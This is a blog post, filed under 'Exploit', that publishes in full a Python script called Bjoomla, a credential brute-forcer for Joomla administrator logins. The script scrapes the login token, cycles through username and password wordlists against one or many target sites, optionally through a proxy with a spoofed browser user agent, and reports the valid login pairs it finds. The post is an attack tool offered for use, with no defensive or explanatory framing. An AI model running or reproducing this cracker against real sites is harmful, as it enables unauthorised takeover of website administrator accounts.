- Back to Home »
- Exploit »
- Joomla.py
Posted by : Reyn
Selasa, 10 September 2013
#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
import urllib2, urllib
import cookielib
import re
from _abcoll import Container
#
#functions
#
def getToken(contentHtml):
reg = re.compile('<input type="hidden" name="([a-zA-z0-9]{32})" value="1"')
value = reg.search(contentHtml).group(1)
return value
def loadLst(fileName, lstName):
f = open(fileName, 'r')
for line in f:
lstName.append(line.replace('\r\n',''))
f.close()
if len(sys.argv) <= 1:
print 'Bjoomla v3.0 (c)2012 by Zonesec - a very fast logon Joomla Cracker - support all version'
print 'Website: http://www.zonesec.com'
print 'Mail : zonesec@gmail.com'
print ''
print 'Syntax: python BJoomla [-u USER|-U FILE] [-p PASS|-P FILE] -h URL [OPT]'
print ''
print 'Options:'
print '-h URL'
print '-H Filename - URL list from file'
print '-U file contain list user'
print '-P file contain list password'
print '-u username'
print '-p password'
print '-v verbose mode / show login+pass combination for each attempt (no scroll)'
print '-vv verbose mode / show login+pass combination for each attempt'
print '-f continue after found login/password pair'
print '-g user-agent - default: "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0"'
print '-x use proxy | ex: 127.0.0.1:1234'
print ''
print 'Examples: python Bjoomla.py -h http://test.com/administrator -u admin -P password.txt'
sys.exit()
print 'Bjoomla v3.0 (c)2012 by Zonesec - a very fast logon Joomla Cracker'
print 'Website: http://www.zonesec.com'
print 'Mail : zonesec@gmail.com'
#
#define variables
#
print ""
url = ''
urlLstFile = '/'
wordlist = ''
username = ''
password = ''
passFile = ''
userFile = ''
signal = 'type="password"'
count = 0
countAcc = 0
mode = 1
verbose = 0
verboseX = 0
useProxy = 0
continues = 0
agent = 'Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0'
result = ""
#
#check argvs
#
for arg in sys.argv:
if arg == '-h':
url = sys.argv[count + 1]
if arg == '-H':
urlLstFile = sys.argv[count + 1]
elif arg == '-u':
username = sys.argv[count + 1]
elif arg == '-U':
userFile = sys.argv[count + 1]
elif arg == '-p':
password = sys.argv[count + 1]
elif arg == '-P':
passFile = sys.argv[count + 1]
elif arg == '-v':
verbose = 1
elif arg == '-s':
signal = sys.argv[count + 1]
elif arg == '-g':
agent = sys.argv[count + 1]
elif arg == '-x':
lstTmp = sys.argv[count+1].split(':')
proxyHandler = urllib2.ProxyHandler({lstTmp[0] : lstTmp[1]+':'+lstTmp[2]})
useProxy = 1
elif arg == '-f':
continues = 1
elif arg == '-vv':
verboseX = 1
count += 1
if (len(username)>0 and len(password)>0):
mode = 1 #single
elif (len(username)>0 and len(passFile)>0):
mode = 2 #
elif (len(userFile)>0 and len(password)>0):
mode = 3
elif (len(userFile)>0 and len(passFile)>0):
mode = 4
#
#init opener
#
cookieJar = cookielib.CookieJar()
cookieHandler = urllib2.HTTPCookieProcessor(cookieJar)
if useProxy == 0:
opener = urllib2.build_opener(cookieHandler)
else:
opener = urllib2.build_opener(proxyHandler,cookieHandler)
opener.addheaders = [('User-agent', agent)]
cookieJar.clear()
cookieJar.clear_session_cookies()
#
#main
#
if urlLstFile != "/":
urlLst = open(urlLstFile,'r')
for url in urlLst:
url = url.strip('\r\n')
print '- Target: ' + url
try:
response = opener.open(url)
content = response.read()
token = getToken(content)
print "- Token:" + token
print ''
if mode == 1:
values = {'username' : username,
'passwd' : password,
token : '1',
'option' : 'com_login',
'task' : 'login',
'lang' : 'Default' }
data = urllib.urlencode(values)
response = opener.open(url+'/', data)
strTmp = response.read()
if strTmp.find(signal) < 0:
countAcc += 1
result += "username: " + username + " password: " + password + "\n"
print "Valid user--pass: " + username + " -- " + password
if mode == 2:
f = open(passFile,'r')
for line in f:
password = line.strip('\n\r')
values = {'username' : username,
'passwd' : password,
token : '1',
'option' : 'com_login',
'task' : 'login',
'lang' : 'Default' }
if verboseX == 1:
print "Trying u--p : " + username + " -- " + password
elif verbose == 1:
sys.stdout.write("Trying u--p : " + username + " -- " + password + " " + "\r")
sys.stdout.flush()
data = urllib.urlencode(values)
try:
response = opener.open(url+'/', data)
except urllib2.URLError, e:
continue
strTmp = response.read()
if strTmp.find(signal) < 0:
countAcc += 1
result += "username: " + username + " password: " + password + "\n"
print "Valid user--pass: " + username + " -- " + password
break;
if mode == 3:
f = open(userFile,'r')
for line in f:
username = line.strip('\n\r')
values = {'username' : username,
'passwd' : password,
token : '1',
'option' : 'com_login',
'task' : 'login',
'lang' : 'Default' }
if verboseX == 1:
print "Trying u--p : " + username + " -- " + password
elif verbose == 1:
sys.stdout.write("Trying u--p : " + username + " -- " + password + " \r")
sys.stdout.flush()
data = urllib.urlencode(values)
try:
response = opener.open(url+'/', data)
except urllib2.URLError, e:
continue
strTmp = response.read()
if strTmp.find(signal) < 0:
countAcc += 1
result += "username: " + username + " password: " + password + "\n"
print "Valid user--pass: " + username + " -- " + password
if continues == 0:
break
cookieJar.clear()
cookieJar.clear_session_cookies()
response = opener.open(url)
content = response.read()
token = getToken(content)
if mode == 4:
f = open(userFile,'r')
f2 = open(passFile,'r')
#passwordArr = f2.readlines()
for line in f:
username = line.strip('\n\r')
f2.seek(0)
for line2 in f2:
token = getToken(content)
password = line2.strip('\n\r')
values = {'username' : username,
'passwd' : password,
token : '1',
'option' : 'com_login',
'task' : 'login',
'lang' : 'Default' }
if verboseX == 1:
print "Trying u--p : " + username + " -- " + password
elif verbose ==1:
sys.stdout.write("Trying u--p : " + username + " -- " + password + " \r")
sys.stdout.flush()
data = urllib.urlencode(values)
try:
response = opener.open(url+'/', data)
except urllib2.URLError, e:
continue
strTmp = response.read()
if strTmp.find(signal) < 0:
countAcc += 1
result += "username: " + username + " password: " + password + "\n"
print "Valid user--pass: " + username + " -- " + password
if continues == 0:
raise;
cookieJar.clear()
cookieJar.clear_session_cookies()
response = opener.open(url)
content = response.read()
token = getToken(content)
f.close()
f2.close()
except urllib2.URLError, e:
print "\n\t[!] Session Cancelled; Error occured. Check internet settings"
pass
except (KeyboardInterrupt):
print "\n\t[!] Session cancelled"
pass
#Finish
print ' '
print '* RESULT:'
print '- 1 target successfuly completed, '+ str(countAcc) +' valid username+password found '
print '- TARGER: ' + url
print result
result = ''
countAcc = 0
print '-----------------------------------------------------------------'
print ''
urlLst.close()
sys.exit()
#
#single Url
#
try:
response = opener.open(url)
content = response.read()
token = getToken(content)
print "Token:" + token
print ''
if mode == 1:
values = {'username' : username,
'passwd' : password,
token : '1',
'option' : 'com_login',
'task' : 'login',
'lang' : 'Default' }
data = urllib.urlencode(values)
response = opener.open(url+'/', data)
strTmp = response.read()
if strTmp.find(signal) < 0:
countAcc += 1
result += "username: " + username + " password: " + password + "\n"
print "Valid user--pass: " + username + " -- " + password
if mode == 2:
f = open(passFile,'r')
for line in f:
password = line.strip('\n\r')
values = {'username' : username,
'passwd' : password,
token : '1',
'option' : 'com_login',
'task' : 'login',
'lang' : 'Default' }
if verboseX == 1:
print "Trying u--p : " + username + " -- " + password
elif verbose == 1:
sys.stdout.write("Trying u--p : " + username + " -- " + password + " " + "\r")
sys.stdout.flush()
data = urllib.urlencode(values)
try:
response = opener.open(url+'/', data)
except urllib2.URLError, e:
continue
strTmp = response.read()
if strTmp.find(signal) < 0:
countAcc += 1
result += "username: " + username + " password: " + password + "\n"
print "Valid user--pass: " + username + " -- " + password
break;
if mode == 3:
f = open(userFile,'r')
for line in f:
username = line.strip('\n\r')
values = {'username' : username,
'passwd' : password,
token : '1',
'option' : 'com_login',
'task' : 'login',
'lang' : 'Default' }
if verboseX == 1:
print "Trying u--p : " + username + " -- " + password
elif verbose ==1:
sys.stdout.write("Trying u--p : " + username + " -- " + password + " \r")
sys.stdout.flush()
data = urllib.urlencode(values)
try:
response = opener.open(url+'/', data)
except urllib2.URLError, e:
continue
strTmp = response.read()
if strTmp.find(signal) < 0:
countAcc += 1
result += "username: " + username + " password: " + password + "\n"
print "Valid user--pass: " + username + " -- " + password
if continues == 0:
break
cookieJar.clear()
cookieJar.clear_session_cookies()
response = opener.open(url)
content = response.read()
token = getToken(content)
if mode == 4:
f = open(userFile,'r')
f2 = open(passFile,'r')
#passwordArr = f2.readlines()
for line in f:
username = line.strip('\n\r')
f2.seek(0)
for line2 in f2:
token = getToken(content)
password = line2.strip('\n\r')
values = {'username' : username,
'passwd' : password,
token : '1',
'option' : 'com_login',
'task' : 'login',
'lang' : 'Default' }
if verboseX == 1:
print "Trying u--p : " + username + " -- " + password
elif verbose ==1:
sys.stdout.write("Trying u--p : " + username + " -- " + password + " \r")
sys.stdout.flush()
data = urllib.urlencode(values)
try:
response = opener.open(url+'/', data)
except urllib2.URLError, e:
continue
strTmp = response.read()
if strTmp.find(signal) < 0:
countAcc += 1
result += "username: " + username + " password: " + password + "\n"
print "Valid user--pass: " + username + " -- " + password
if continues == 0:
raise;
cookieJar.clear()
cookieJar.clear_session_cookies()
response = opener.open(url)
content = response.read()
token = getToken(content)
f.close()
f2.close()
except urllib2.URLError, e:
print "\n\t[!] Session Cancelled; Error occured. Check internet settings"
pass
except (KeyboardInterrupt):
print "\n\t[!] Session cancelled"
pass
#Finish
print '-----------------------------------------------------------------'
print '- 1 target successfuly completed, '+ str(countAcc) +' valid username+password found '
print '- TARGER: ' + url
print '- RESULT:'
print result
sys.exit()